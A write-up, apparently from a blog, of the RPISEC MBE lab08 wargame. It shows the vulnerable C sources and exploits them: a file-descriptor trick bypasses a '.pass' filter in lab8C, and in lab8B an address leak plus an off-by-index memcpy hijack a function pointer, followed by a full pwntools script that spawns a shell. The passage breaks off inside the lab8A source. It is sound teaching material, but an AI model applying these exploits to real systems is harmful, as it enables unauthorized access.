RPISEC/MBE: writeup lab08 (Misc and Stack Cookies)

While the last lab introduced the subject of Heap Exploitation, this lab focuses on Misc and Stack Cookies.

The lab contains three levels again ranging from C to A:
–> lab8C
–> lab8B
–> lab8A


lab8C

The username for the first level of this lab is lab8C with the password lab08start:

login as: lab8C
lab8C@localhost's password: (lab08start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

We start by inspecting the source code:

lab8C@warzone:/levels/lab08$ cat lab8C.c
/*
 * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c
 */

#include<errno.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>

struct fileComp {
        char fileContents1[255];
        char fileContents2[255];
        int cmp;
};

char* readfd(int fd)
{
        // Find length of file
        int size = lseek(fd, 0, SEEK_END);
        if(size >= 255)
        {
                printf("Your file is too big.\n");
                exit(EXIT_FAILURE);
        }
        // Reset fd to beginning of file
        lseek(fd, 0, SEEK_SET);
        // Allocate space for the file and a null byte
        char* fileContents = malloc((size+1) & 0xff);
        if(!fileContents)
        {
                printf("Could not allocate space for file contents\n");
                exit(EXIT_FAILURE);
        }
        // Read the file contents into the buffer
        int numRead = read(fd, fileContents, size & 0xff);
        return fileContents;
}

int getfd(char* arg)
{
        if(arg[0] != '-' || arg[1] != 'f' || arg[3] != '=')
        {
                printf("Invalid formatting in argument \"%s\"\n", arg);
                return -1;
        }

        int fd;
        if(arg[2] == 'n')
        {
                // O_NOFOLLOW means that it won't follow symlinks. Sorry.
                fd = open(arg+4, O_NOFOLLOW | O_RDONLY);
                if(fd == -1)
                {
                        printf("File could not be opened\n");
                        return -1;
                }
        }
        else if(arg[2] == 'd')
        {
                errno = 0;
                fd = atoi(arg+4);
        }
        else
        {
                printf("Invalid formatting in argument \"%s\"\n", arg);
                return -1;
        }

        return fd;
}

struct fileComp* comparefds(int fd1, int fd2)
{
        struct fileComp* fc = malloc(sizeof(struct fileComp));
        if(!fc)
        {
                printf("Could not allocate space for file contents\n");
                exit(EXIT_FAILURE);
        }

        strcpy(fc->fileContents1, readfd(fd1));
        strcpy(fc->fileContents2, readfd(fd2));
        fc->cmp = strcmp(fc->fileContents1, fc->fileContents2);
        return fc;
}

char* securityCheck(char* arg, char* s)
{
        if(strstr(arg, ".pass"))
                return "<<<For security reasons, your filename has been blocked>>>";
        return s;
}

int main(int argc, char** argv)
{
        if(argc != 3)
        {
                printf("Hi. This program will do a lexicographical comparison of the \
contents of two files. It has the bonus functionality of being \
able to process either filenames or file descriptors.\n");
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }

        int fd1 = getfd(argv[1]);
        int fd2 = getfd(argv[2]);
        if(fd1 == -1 || fd2 == -1)
        {
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }
        if(fd1 == 0 || fd2 == 0)
        {
                printf("Invalid fd argument.\n");
                printf("(We're still fixing some bugs with using STDIN.)\n");
                printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
                return EXIT_FAILURE;
        }

        struct fileComp* fc = comparefds(fd1, fd2);

        printf(
                        "\"%s\" is lexicographically %s \"%s\"\n",
                        securityCheck(argv[1], fc->fileContents1),
                        fc->cmp > 0 ? "after" : (fc->cmp < 0 ? "before" : "equivalent to"),
                        securityCheck(argv[2], fc->fileContents2));

        return EXIT_SUCCESS;
}

What does the program do?
–> A struct called fileComp is defined which contains two buffers and an integer (lines 13-17).
–> Within the main function (line 97) two arguments to the program are expected.
–> Both arguments are supposed to identify a file by providing either a filename (-fn) or a file descriptor (-fd).
–> The function getfd (line 42) is used to get the corresponding file descriptor from the provided options.
    – If a filename is provided (-fn) the file is opened using the function open.
    – If a file descriptor is provided (-fd) the file descriptor is simply returned as an integer.
–> After both file descriptors are fetched and are valid the function comparefds is called (line 123).
–> Within comparefds (line 75) the struct fileComp is instantiated and the contents of both files are copied into the struct object using strcpy and the user defined function readfd.
–> The function readfd (line 19) allocates a buffer, reads the file-contents and returns the buffer containing the file-contents.
–> At last within the main function printf is used to display the comparison result. The contents of the file are filtered by the function securityCheck.
–> This function (line 90) checks if the provided option contains the string ".pass". If the string is not found, the actual contents of the file are returned, otherwise a message stating that the filename has been blocked.

Where is the vulnerability within the program?
As usual our goal is to read the .pass file in the home-directory from the user of the next level (in this case /home/lab8B/.pass). The program enables us to provide two files which contents are compared and also displayed:

lab8C@warzone:/levels/lab08$ echo -n "test1" > /tmp/test1
lab8C@warzone:/levels/lab08$ echo -n "test2" > /tmp/test2
lab8C@warzone:/levels/lab08$ ./lab8C -fn=/tmp/test1 -fn=/tmp/test2
"test1" is lexicographically before "test2"

But we cannot simply read the .pass file because the function securityCheck tests if the filename contains the string .pass and filters the output:

lab8C@warzone:/levels/lab08$ ./lab8C -fn=/tmp/test1 -fn=/home/lab8B/.pass
"test1" is lexicographically after "<<<For security reasons, your filename has been blocked>>>"

Though the program enables us not only to provide a filename but also a file descriptor, which is simply an integer. The first three file descriptors are fixed:
–> 0 = stdin
–> 1 = stdout
–> 2 = stderr

When a new file is opened (for example by using open), the next available file descriptor is used: 3, 4, 5, …

This means that when we provide /home/lab8B/.pass as the first file and the file descriptor 3 as the second file, these are both the same file. The difference is that the file-contents of the second file will not be filtered because our option does not containg the string .pass:

lab8C@warzone:/levels/lab08$ ./lab8C -fn=/home/lab8B/.pass -fd=3
"<<<For security reasons, your filename has been blocked>>>" is lexicographically equivalent to "3v3ryth1ng_Is_@_F1l3
"

Done 🙂 The password for the next level is 3v3ryth1ng_Is_@_F1l3.


lab8B

We can connect to the level using the previously achieved credentials lab8B with the password 3v3ryth1ng_Is_@_F1l3:

login as: lab8B
lab8B@localhost's password: (3v3ryth1ng_Is_@_F1l3)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

As usual we start by viewing the source code:

lab8B@warzone:/levels/lab08$ cat lab8B.c
/*
 * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8B lab8B.c
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define MAX_FAVES 10

struct vector {
        void (*printFunc)(struct vector*);
        char a;
        short b;
        unsigned short c;
        int d;
        unsigned int e;
        long f;
        unsigned long g;
        long long h;
        unsigned long long i;
};

struct vector v1;
struct vector v2;
struct vector v3;
struct vector* faves[MAX_FAVES];

void printVector(struct vector* v);

void printMenu()
{
        printf("+------------------------------------------------------------+\n");
        printf("|                                                            |\n");
        printf("|  1. Enter data                                          :> |\n");
        printf("|  2. Sum vectors                                         :] |\n");
        printf("|  3. Print vector                                        :3 |\n");
        printf("|  4. Save sum to favorites                               8) |\n");
        printf("|  5. Print favorites                                     :O |\n");
        printf("|  6. Load favorite                                       :$ |\n");
        printf("|  9. Get help                                            :D |\n");
        printf("|                                                            |\n");
        printf("+------------------------------------------------------------+\n");
        printf("I COMMAND YOU TO ENTER YOUR COMMAND: ");
}

struct vector* vectorSel()
{
        printf("Which vector? ");
        char sel;
        while((sel = getchar()) == '\n'); // I love C.
        switch(sel)
        {
                case '1':
                        return &v1;
                case '2':
                        return &v2;
                case '3':
                        return &v3;
                default:
                        printf("\nBAD VECTOR SELECTION\n");
                        exit(EXIT_FAILURE);
        }
}

void enterData()
{
        struct vector* v = vectorSel();
        if(v == &v3)
        {
                printf("Please don't try to manually enter data into the sum.\n");
                return;
        }
        printf("Data entry time!\n");
        printf("char a: ");
        while((v->a = getchar()) == '\n'); // Still love C.
        printf("short b: ");
        scanf("%hd", &(v->b));
        printf("unsigned short c: ");
        scanf("%hu", &(v->c));
        printf("int d: ");
        scanf("%d", &(v->d));
        printf("unsigned int e: ");
        scanf("%u", &(v->e));
        printf("long f: ");
        scanf("%ld", &(v->f));
        printf("unsigned long g: ");
        scanf("%lu", &(v->g));
        printf("long long h: ");
        scanf("%lld", &(v->h));
        printf("unsigned long long i: ");
        scanf("%llu", &(v->i));
        v->printFunc = printVector;
}

void sumVectors()
{
        if(v1.a==0 || v2.a==0 ||
                        v1.b==0 || v2.b==0 ||
                        v1.c==0 || v2.c==0 ||
                        v1.d==0 || v2.d==0 ||
                        v1.e==0 || v2.e==0 ||
                        v1.f==0 || v2.f==0 ||
                        v1.g==0 || v2.g==0 ||
                        v1.h==0 || v2.h==0 ||
                        v1.i==0 || v2.i==0)
        {
                printf("You didn't even set the addends... :(\n");
                return;
        }
        v3.a = v1.a + v2.a;
        v3.b = v1.b + v2.b;
        v3.c = v1.c + v2.c;
        v3.d = v1.d + v2.d;
        v3.e = v1.e + v2.e;
        v3.f = v1.f + v2.f;
        v3.g = v1.g + v2.g;
        v3.h = v1.h + v2.h;
        v3.i = v1.i + v2.i;
        printf("Summed.\n");
}

/*
 * Bonus points if you don't use this function.
 */
void thisIsASecret()
{
        system("/bin/sh");
}

void printVector(struct vector* v)
{
        printf("Address: %p\n", v);
        printf("void printFunc: %p\n", v->printFunc);
        printf("char a: %c\n", v->a);
        printf("short b: %hd\n", v->b);
        printf("unsigned short c: %hu\n", v->c);
        printf("int d: %d\n", v->d);
        printf("unsigned int e: %u\n", v->e);
        printf("long f: %ld\n", v->f);
        printf("unsigned long g: %lu\n", v->g);
        printf("long long h: %lld\n", v->h);
        printf("unsigned long long i: %llu\n", v->i);
}

void fave()
{
        unsigned int i;
        for(i=0; i<MAX_FAVES; i++)
                if(!faves[i])
                        break;
        if(i == MAX_FAVES)
                printf("You have too many favorites.\n");
        else
        {
                faves[i] = malloc(sizeof(struct vector));
                memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector));
                printf("I see you added that vector to your favorites, \
but was it really your favorite?\n");
        }
}

void printFaves()
{
        unsigned int i;
        for(i=0; i<MAX_FAVES; i++)
                if(faves[i])
                        printVector(faves[i]);
                else
                        break;
        printf("Printed %u vectors.\n", i);
}

void loadFave()
{
        printf("Which favorite? ");
        unsigned int i;
        scanf("%u", &i);
        if(i >= MAX_FAVES)
        {
                printf("Index out of bounds\n");
                return;
        }

        struct vector* v = vectorSel();
        if(v == &v3)
        {
                printf("Please don't try to manually enter data into the sum.\n");
                return;
        }
        memcpy(v, faves[i], sizeof(v));
}

void help()
{
        printf("\
This program adds two vectors together and stores it in a third vector. You \
can then add the sum to your list of favorites, or load a favorite back into \
one of the addends.\n");
}

int main(int argc, char** argv)
{
        char sel;
        printMenu();
        v1.printFunc = printf;
        v2.printFunc = printf;
        v3.printFunc = printf;
        struct vector* v;
        while((sel = getchar()) && (sel == '\n' || getchar())) // Magic ;^)
        {
                if(sel == '\n')
                        continue;

                switch(sel)
                {
                        case '0':
                                printf("OK, bye.\n");
                                return EXIT_SUCCESS;
                        case '1':
                                enterData();
                                break;
                        case '2':
                                sumVectors();
                                break;
                        case '3':
                                v = vectorSel();
                                //printf("Calling %p\n", v->printFunc);
                                v->printFunc(v);
                                break;
                        case '4':
                                fave();
                                break;
                        case '5':
                                printFaves();
                                break;
                        case '6':
                                loadFave();
                                break;
                        case '9':
                                help();
                                break;
                        default:
                                printf("\nThat was bad input. \
Just like your futile attempt to pwn this.\n");
                                return EXIT_FAILURE;
                }
                printMenu();
        }
        return EXIT_SUCCESS;
}

What does the program do?
–> A struct called vector is defined on lines 11-22 containing a member-function printFunc and 9 member variables (ai) with varying types.
–> Following this three global struct vector are defined (lines 24-26) as well as an array named faves holding pointers to struct vector instances (line 27).
–> Within the main function (line 202) a menu is displayed using the function printMenu (line 31) giving the user the following options:
    – Enter data / Sum vectors / Print vector
    – Save sum to favorites / Print favorites / Load favorite
    – Get help
–> After the menu is displayed within the main function, the member-function of all three global vectors is set to printf (lines 206-208).
–> When 1. Enter data is selected, the function enterData (line 66) calls vectorSel (line 47) to let the user select one of the three globally defined vectors.
–> After this the user can input a value for every member variable of the vector (scanf) and the member-function printFunc is set to printVector (line 131).
–> When 2. Sum vectors is selected, the function sumVectors (line 96) is called adding each member variable of v1 and v2 and storing the result in v3.
–> When choosing 3. Print vector the user can select on of three vectors on which the member-function printFunc is called (line 229).
–> 4. Save sum to favorites calls fave (line 146), which searches the next free entry within the global array faves, allocates memory for a new struct vector instance and uses memcpy to fill the newly allocated memory.
–> 5. Print favorites calls printFaves (line 163) iterating over the faves array calling printVector on all allocated pointers.
–> When 6. Load favorite is selected, loadFave (line 174) is called which allows the user to store a favorite vector from the array faves to v1 or v2.

Where is the vulnerability within the program?

When reading the source code the following line within the function fave attracted my attention:

...
                faves[i] = malloc(sizeof(struct vector));
                memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector));
...

According to the menu selection the function should save the sum (this is v3) to our favorites. The call to malloc allocates memory for the new struct instance. The address of this memory is stored within the pointer-array faves at the index i.

Then the contents of v3 should have been copied to the newly allocated memory. But the second argument (the source) of the call to memcpy is (int*)(&v3)+i!? This means that when i is greater than zero the copy-operation does not begin at the address of v3 but i * 4 bytes after the beginning of v3. Let’s run the program using gdb and see what impact this has:

lab8B@warzone:/levels/lab08$ gdb ./lab8B
Reading symbols from ./lab8B...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /levels/lab08/lab8B
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND:

At first let’s enter some data for v1 and v2 and save the sum in v3:

...
I COMMAND YOU TO ENTER YOUR COMMAND: 1
Which vector? 1
Data entry time!
char a: X
short b: 2222
unsigned short c: 3333333
int d: 4444444
unsigned int e: 555555
long f: 6666666
unsigned long g: 777777
long long h: 888888
unsigned long long i: 9999999
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 1
Which vector? 2
Data entry time!
char a: Y
short b: 1
unsigned short c: 1
int d: 1
unsigned int e: 1
long f: 1
unsigned long g: 1
long long h: 1
unsigned long long i: 1
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 2
Summed.

If we now print the v3 we should see the result:

+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 3
Which vector? 3
â–’â–’bâ–’â–’+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND:

Mh!? That is not the function printVector being called. But, wait! Do you remember this lines within the main function:

        v1.printFunc = printf;
        v2.printFunc = printf;
        v3.printFunc = printf;

The member-function printFunc has been initialized with printf. And how is this function being called?

                                v = vectorSel();
                                //printf("Calling %p\n", v->printFunc);
                                v->printFunc(v);

With v->printFunc(v)! As printFunc was set to printf this equals printf(v). Because printf expects the argument to be a format string, it will simply print the bytes at this address until a null-byte is reached. And what bytes are stored at the address of v?

struct vector {
        void (*printFunc)(struct vector*);
		...

The member-function printFunc, which vice versa is set to printf. So what does printf print? The address of printf! This means we can leak a libc-address and bypass ASLR.

So far so good. Let’s proceed analysing the program’s behaviour.

As for now we have entered some values for v1 and v2 and stored the sum of both vectors in v3.

As we already figured out, the source address in the function call to memcpy within fave seems to be messed up. So let’s save same favorites:

+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 4
I see you added that vector to your favorites, but was it really your favorite?
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 5
Address: 0xb8037008
void printFunc: 0xb7628280
char a: â–’
short b: 2223
unsigned short c: 56534
int d: 4444445
unsigned int e: 555556
long f: 6666667
unsigned long g: 777778
long long h: 888889
unsigned long long i: 10000000
Printed 1 vectors.

The first copied favorite vector seems to be valid. The member variables contain the sum of v1 and v2. Since the index i is used in the memcpy call let’s add another favorite:

+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 4
I see you added that vector to your favorites, but was it really your favorite?
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 5
Address: 0xb8037008
void printFunc: 0xb7628280
char a: â–’
short b: 2223
unsigned short c: 56534
int d: 4444445
unsigned int e: 555556
long f: 6666667
unsigned long g: 777778
long long h: 888889
unsigned long long i: 10000000
Address: 0xb8037038
void printFunc: 0x8af00b1
char a: â–’
short b: 0
unsigned short c: 53533
int d: 555556
unsigned int e: 6666667
long f: 777778
unsigned long g: 888889
long long h: 42949672960000000
unsigned long long i: 0
Printed 2 vectors.

The second favorite vector is messed up. As suggested the source address of the call to memcpy has been incremented by 4 for the favorite vector with the index i = 1, because the address is cast to an integer pointer:

...
                faves[i] = malloc(sizeof(struct vector));
                memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector));
...

In order to exploit this, the most interesting line of output is this one:

...
void printFunc: 0x8af00b1
...

The variables which we stored in v1 and v2 were summed up in v3 and have been written to the function-pointer printFunc:

       v1                 v2               v3
a:  'X' (0x58)    +    'Y' (0x59)    =    0xb1
b:    2222        +       1          =    2223 (0x8af)

--> printFunc: 0x8af00b1

As you can see, between the char-variable a and the short-variable b there is an additional null-byte. This is caused by the compiler padding variables in the struct. In order to set printFunc do an arbitrary value we have to add more favorites until a full 4-byte value we can control is stored in printFunc. The easiest way is to use the unsigned integer e. Thus we have to add a total amount of 5 favorites:

...
I COMMAND YOU TO ENTER YOUR COMMAND: 4
I see you added that vector to your favorites, but was it really your favorite?
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 5
...
Address: 0xb80370c8
void printFunc: 0x87a24
char a: â–’
short b: 101
unsigned short c: 56882
int d: 888889
unsigned int e: 0
long f: 10000000
unsigned long g: 0
long long h: 0
unsigned long long i: 0
Printed 5 vectors.

Now printFunc contains the value of v1.e + v2.e:

       v1        v2          v3
e:   555555  +   1    =    555556 (0x87a24)

--> printFunc: 0x87a24

Since this is a 4-byte value we can set printFunc to an arbitrary address. In order to trigger a call to this address, we have to load our favorite vector in v1 or v2 and then print this vector:

+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 6
Which favorite? 4
Which vector? 1
+------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :  |
|                                                            |
+------------------------------------------------------------+
I COMMAND YOU TO ENTER YOUR COMMAND: 3
Which vector? 1

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x87a24
EBX: 0xb77e7fa8 --> 0x2eb0
ECX: 0xb77b38a4 --> 0x0
EDX: 0xb77e8040 --> 0x87a24
ESI: 0x0
EDI: 0x0
EBP: 0xbf8fac88 --> 0x0
ESP: 0xbf8fac5c --> 0xb77e654c (<main+200>:     jmp    0xb77e657f <main+251>)
EIP: 0x87a24
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x87a24
[------------------------------------stack-------------------------------------]
0000| 0xbf8fac5c --> 0xb77e654c (<main+200>:    jmp    0xb77e657f <main+251>)
0004| 0xbf8fac60 --> 0xb77e8040 --> 0x87a24
0008| 0xbf8fac64 --> 0xbf8fad24 --> 0xbf8fc8b4 ("/levels/lab08/lab8B")
0012| 0xbf8fac68 --> 0xbf8fad24 --> 0xbf8fc8b4 ("/levels/lab08/lab8B")
0016| 0xbf8fac6c --> 0x1
0020| 0xbf8fac70 --> 0xb77b23c4 --> 0xb77b31e0 --> 0x0
0024| 0xbf8fac74 --> 0x3300000d ('\r')
0028| 0xbf8fac78 --> 0xb77e8040 --> 0x87a24
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00087a24 in ?? ()

Segmentation fault. Great!

Summing it up we are now able to:
–> Leak the address of printf and thus calculate the offset to any function we would like to call.
–> Control the instruction pointer.

What function are we going to call? Well, the author of the program left us a little gift:

/*
 * Bonus points if you don't use this function.
 */
void thisIsASecret()
{
        system("/bin/sh");
}

The only thing we need to do is to calculate the offset of both functions:

gdb-peda$ p printf
$1 = {<text variable, no debug info>} 0xb7655280 <__printf>
gdb-peda$ p thisIsASecret
$2 = {<text variable, no debug info>} 0xb77e60a7 <thisIsASecret>
gdb-peda$ p thisIsASecret - printf
$3 = 0x190e27

Thus we have to add 0x190e27 to the leaked address of printf to get the address of thisIsASecret.

The following python-script:
–> Leaks the address of printf.
–> Uses this address to calculate the address of thisIsASecret (adding 0x190e27).
–> Stores the address of thisIsASecret – 1 in v1.e.
–> Stores the value 1 in v2.e (zeros are not allowed!).
–> Summing up both vectors in v3.
–> Chooses 4. Save sum to favorites 5 times to overwrite printFunc with the value of v3.e.
–> Loads the 5th favorite in v1.
–> Prints the vector v1 triggering the call to thisIsASecret.

lab8B@warzone:/levels/lab08$ cat /tmp/expl_lab8B.py
from pwn import *

#+++++++++++++++++++++++++
def enterData(p, v, data):
  p.sendline("1") # 1. Enter data
  p.sendline(str(v))   # vector
  for i in range(len(data)):
    p.sendline(str(data[i]))
  p.recv(1000)

#+++++++++++++++++
def sumVectors(p):
  p.sendline("2") # 2. Sum vectors

#++++++++++++++++++
def printVector(p, v):
  p.sendline("3") # 3. Print vector
  p.sendline(str(v))
  return p.recv(1000)

#+++++++++++++++++
def leakPrintf(p):
  ret = printVector(p, 1)
  addr = int(ret[0x33:0x37][::-1].encode("hex"), 16)
  return addr

#+++++++++++++++++++
def saveSumToFav(p):
  p.sendline("4") # 4. Save sum to favorites
  p.recv(1000)

#+++++++++++++++++++++++++++
def loadFavorite(p, fav, v):
  p.sendline("6") # 6. Load favorite
  p.sendline(str(fav))
  p.sendline(str(v))
  p.recv(1000)



p = process("./lab8B")
p.recv(1000)

addr_printf = leakPrintf(p)
log.info("printf addr: " + hex(addr_printf))

addr_secret = addr_printf + 0x190e27
log.info("secret addr: " + hex(addr_secret))

enterData(p, 1, [1, 1, 1, 1, addr_secret-1, 1, 1, 1, 1])
enterData(p, 2, [1, 1, 1, 1, 1, 1, 1, 1, 1])
sumVectors(p)
for i in range(5): saveSumToFav(p)
loadFavorite(p, 4, 1)
printVector(p, 1)

p.interactive()

Running the script:

lab8B@warzone:/levels/lab08$ python /tmp/expl_lab8B.py
[+] Starting program './lab8B': Done
[*] printf addr: 0xb7622280
[*] secret addr: 0xb77b30a7
[*] Switching to interactive mode
$ whoami
lab8A
$ cat /home/lab8A/.pass
Th@t_w@5_my_f@v0r1t3_ch@11

Done! The password for the next level is Th@t_w@5_my_f@v0r1t3_ch@11.


lab8A

We connect to the last level using credentials lab8A with the password Th@t_w@5_my_f@v0r1t3_ch@11:

login as: lab8A
lab8A@localhost's password: (Th@t_w@5_my_f@v0r1t3_ch@11)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Let’s have a look at the source code:

lab8A@warzone:/levels/lab08$ cat lab8A.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"
#define STDIN 0

//gcc -static -fstack-protector-all -mpreferred-stack-boundary=2 -o lab8A lab8A.c
int *global_addr;
int *global_addr_check;

// made so you can only read what we let you

void selectABook() {
    /* Our Apologies,the interface is currently under developement */
    char buf_secure[512];
    scanf("%s", buf_secure);
    printf(buf_secure);
    if(strcmp(buf_secure, "A") == 0){
        readA();
    }else if(strcmp(buf_secure,"F") == 0){
        readB();
    }else if(*buf_secure == '\x00'){
        readC();
    }else if(buf_secure == 1337){
        printf("\nhackers dont have time to read.\n");
        exit(EXIT_FAILURE);
    }else{
        printf("\nWhat were you thinking, that isn't a good book.");
        selectABook();
    }
    return;
}

void readA(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book VIII {|}\n");
    printf("*************************************************\n\n");
    printf("To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped? \n");

}

void readB(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book IVIZ {|}\n");
    printf("*************************************************\n\n");
    printf(

